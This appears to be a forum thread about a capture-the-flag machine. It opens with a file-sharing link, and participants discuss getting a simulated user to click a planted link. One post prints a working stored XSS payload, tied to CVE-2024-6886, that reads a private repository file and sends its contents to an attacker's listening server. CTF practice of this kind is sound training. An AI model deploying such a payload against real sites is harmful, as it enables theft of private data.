[RedBlock]

https://mega.nz/file/QBYSFYzb#ebALkYFVUy...Kl9iu-nQso

[raidenei]

This is the tutorial I needed, even though I'm just starting to do it now a good machine, just based on basic flaws, it can do a lesson of average difficulty

[kontolodon69]

wow thank you so much for the write-up, I’m stuck at the root of the privilege escalation and have no idea what to do next

[void_228]

So what are the conditions for 'Jobert' to click the link? I tested this various ways and couldn't understand why sometimes I would get a response to my python server and other times I would get nothing even after inserting the exact XSS payload in the description. Is it the machines cron job schedule of sendmail? It doesn't appear to be executing immediately? Or am I missing something?

[bobthebuilder1111]

I can't say for certain, but I had a lot more luck spamming jobert from the victim box vs. my Kali box. (Like I got ONE *bad* hit from my kali box, but repeated success from victim).

[void_228]

I can't say for certain, but I had a lot more luck spamming jobert from the victim box vs. my Kali box.  (Like I got ONE *bad* hit from my kali box, but repeated success from victim).

So I reset the box and the XSS payload that worked this time was this one. (in the description box per CVE-2024-6886)

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response=>response.text()).then(data=>fetch('http://10.10.16.2:8888/?response='+encodeURIComponent(data))).catch(error=>console.error('Error:', error));">lol</a>

I didn't have to create an empty file as a previous post recommended. This payload in the repo description box is enough to get a call back to your listening server.
I think the box may be unstable and may need a reset if the jobert user is not 'clicking' on the link. But you're right. I think you have to spam jobert. Sent it 16 times after resetting the box and indeed got back 16 responses.